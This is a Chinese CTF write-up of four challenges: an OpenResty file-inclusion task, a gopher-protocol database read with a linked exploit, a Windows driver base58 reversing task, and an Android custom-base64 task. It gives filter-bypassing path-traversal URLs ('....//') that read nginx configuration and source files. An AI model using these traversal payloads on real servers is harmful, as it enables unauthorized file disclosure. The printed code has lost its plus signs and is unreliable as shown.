virink的web题

2019-09-08 22:00:45 浏览数 (1)

virink的web题

wp作者:pcat

最简单的尝试,右键查看源码,师傅友好的指出了:

index.js底部的

也只是no_flag而已。

这里发现服务器是用OpenResty服务器,这里pcat科普下:OpenResty是一个基于Nginx与Lua的高性能Web平台,其内部集成了大量精良的Lua库、第三方模块以及大多数的依赖项。

最后回到最初:

这里存在一个uploads文件夹,访问下

里面左边preview的格式是/preview?f= 尝试文件包含漏洞

由于是使用OpenResty,尝试包含nginx的配置文件,默认是

/etc/nginx/conf.d/default.conf

发现../被过滤,尝试下双写可以绕过

代码语言:javascript复制
/preview?f=....//....//....//....//....//....//etc..//nginx..//conf.d..//default.conf

尝试读取preview.lua源码

代码语言:javascript复制
/preview?f=....//preview.lua

这里要注意是lua的替换是正则替换。

尝试

/preview?f=....//....//....//....//....//....//....//f1ag_Is_h3re未果,最后是

代码语言:javascript复制
/preview?f=....//....//....//....//....//....//....//f1ag_Is_h3re..//flag

Ps:virink师傅开源了项目(代码有修改):

https://github.com/CTFTraining/virink_2019_web_files_share

郁离歌的web题

wp作者:pcat

代码很熟悉,用gopher协议读取数据库内容即可。这里直接提供virink师傅写的一个payload:

ttps://raw.githubusercontent.com/virink/ctflog/master/ctf473831530/yulige_exp.py

政博的windows驱动题

wp作者:天河

感谢这题带我走进了新世界的大门。

首先给了两个附件一个是驱动文件.sys,逻辑不是很复杂。

先看和驱动交互的程序,User为Processor,然后输入key。

打开驱动成功的情况下:

上面的操作是将数据发送给驱动,控制码是0x22a444,用于发送数据

上面的操作是用来接收返回的数据判断发送的key正确与否,控制码是0x226448

剩下的就是看驱动的部分:

以上是主要的处理程序

这部分明显是比较结果,我们追查一下dword_403264从哪来的

这个V5==0x22a444和用来和驱动交互的程序发送数据的部分对上了。

猜测v6是数据debug后,也确实如此。

之后的过程把数据经过

处理后存放的地址放在了dword_403264这个位置,进入函数观察处理过程,是一个base58的过程,对比较字符串进行解码

脚本如下:

代码语言:javascript复制
# -*- coding:utf8 -*-

a='KkYWdwLPHPjzTfpEwLa4qQMxGC'
__b58chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
__b58base = len(__b58chars)


def b58encode(v):
    """ encode v, which is a string of bytes, to base58.
    """

    long_value = int(v.encode("hex_codec"), 16)

    result = ''
    while long_value >= __b58base:
        div, mod = divmod(long_value, __b58base)
        result = __b58chars[mod]   result
        long_value = div
    result = __b58chars[long_value]   result

    # Bitcoin does a little leading-zero-compression:
    # leading 0-bytes in the input become leading-1s
    nPad = 0
    for c in v:
        if c == '':
            nPad  = 1
        else:
            break

    return (__b58chars[0] * nPad)   result


def b58decode(v):
    """ decode v into a string of len bytes
    """

    long_value = 0L
    for (i, c) in enumerate(v[::-1]):
        long_value  = __b58chars.find(c) * (__b58base ** i)

    result = ''
    while long_value >= 256:
        div, mod = divmod(long_value, 256)
        result = chr(mod)   result
        long_value = div
    result = chr(long_value)   result

    nPad = 0
    for c in v:
        if c == __b58chars[0]:
            nPad  = 1
        else:
            break

    result = chr(0) * nPad   result
    return result

if __name__ == "__main__":
    print  b58decode("KkYWdwLPHPjzTfpEwLa4qQMxGC")

得到的结果,花括号换为英文的即可。

Ps: 其他详细驱动的使用调试之类的可以参照政博师傅给的readme

天河的安卓题

wp作者:天河

主界面只有个简单的输入框,处理逻辑的核心存在于so中。

可以看到init中上来就把一大段代码异或了

被处理过的这段代码encode函数是加密的核心逻辑,经过异或处理还原真实的代码之后一切逻辑很明了,把输入的字符串经过encode函数处理之后和2ifuiJ4F6VMwaY8ATEr7db/=字符串进行比较

相等即可通过验证。

Encode函数是base64编码修改的,换了个表

"lmnopqrABCDEdefghFGXYZabcijkstuvwxyz012STUVW3456789 /HIJKLMNOPQR"

在每轮加密都会把表前后颠倒即可,

即table=table[::-1]

脚本如下:

代码语言:javascript复制
#include<stdio.h>
#include<string.h>
#include <cstring>
void Reverse(char *s,int n){
    for(int i=0,j=n-1;i<j;i  ,j--){
        char c=s[i];
        s[i]=s[j];
        s[j]=c;
    }
}
static const char *ALPHA_BASE1 = "lmnopqrABCDEdefghFGXYZabcijkstuvwxyz012STUVW3456789 /HIJKLMNOPQR";
char *encode(const char *buf, const long size, char *base64Char) {
    char ALPHA_BASE[] = "lmnopqrABCDEdefghFGXYZabcijkstuvwxyz012STUVW3456789 /HIJKLMNOPQR";
    int a = 0;
    int i = 0;
    while (i < size) {
        Reverse(ALPHA_BASE,64);
        char b0 = buf[i  ];
        char b1 = (i < size) ? buf[i  ] : 0;
        char b2 = (i < size) ? buf[i  ] : 0;

        int int63 = 0x3F; //  00111111
        int int255 = 0xFF; // 11111111
        base64Char[a  ] = ALPHA_BASE[(b0 >> 2) & int63];
        base64Char[a  ] = ALPHA_BASE[((b0 << 4) | ((b1 & int255) >> 4)) & int63];
        base64Char[a  ] = ALPHA_BASE[((b1 << 2) | ((b2 & int255) >> 6)) & int63];
        base64Char[a  ] = ALPHA_BASE[b2 & int63];
    }
    switch (size % 3) {
        case 1:
            base64Char[--a] = '=';
        case 2:
            base64Char[--a] = '=';
    }
    return base64Char;
}

char *decode(const char *base64Char, const long base64CharSize, char *originChar, long originCharSize) {
    //char *ALPHA_BASE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /";
    char ALPHA_BASE[] = "lmnopqrABCDEdefghFGXYZabcijkstuvwxyz012STUVW3456789 /HIJKLMNOPQR";
    int toInt[128] = {-1};
    /*for (int i = 0; i < 64; i  ) {
        toInt[ALPHA_BASE[i]] = i;
    }*/
    int int255 = 0xFF;
    int index = 0;
    for (int i = 0; i < base64CharSize; i  = 4) {
        Reverse(ALPHA_BASE,64);
        for (int i = 0; i < 64; i  ) {
        toInt[ALPHA_BASE[i]] = i;
    }
        int c0 = toInt[base64Char[i]];
        int c1 = toInt[base64Char[i   1]];
        originChar[index  ] = (((c0 << 2) | (c1 >> 4)) & int255);
        if (index >= originCharSize) {
            return originChar;
        }
        int c2 = toInt[base64Char[i   2]];
        originChar[index  ] = (((c1 << 4) | (c2 >> 2)) & int255);
        if (index >= originCharSize) {
            return originChar;
        }
        int c3 = toInt[base64Char[i   3]];
        originChar[index  ] = (((c2 << 6) | c3) & int255);
    }
    return originChar;
}
int main()
{
     char *base="2ifuiJ4F6VMwaY8ATEr7db/=";
     char c[256];
     decode(base,strlen(base),c,17);
     printf("%s",c);
}

Question 5 将会在10月左右开放,敬请期待。

0 人点赞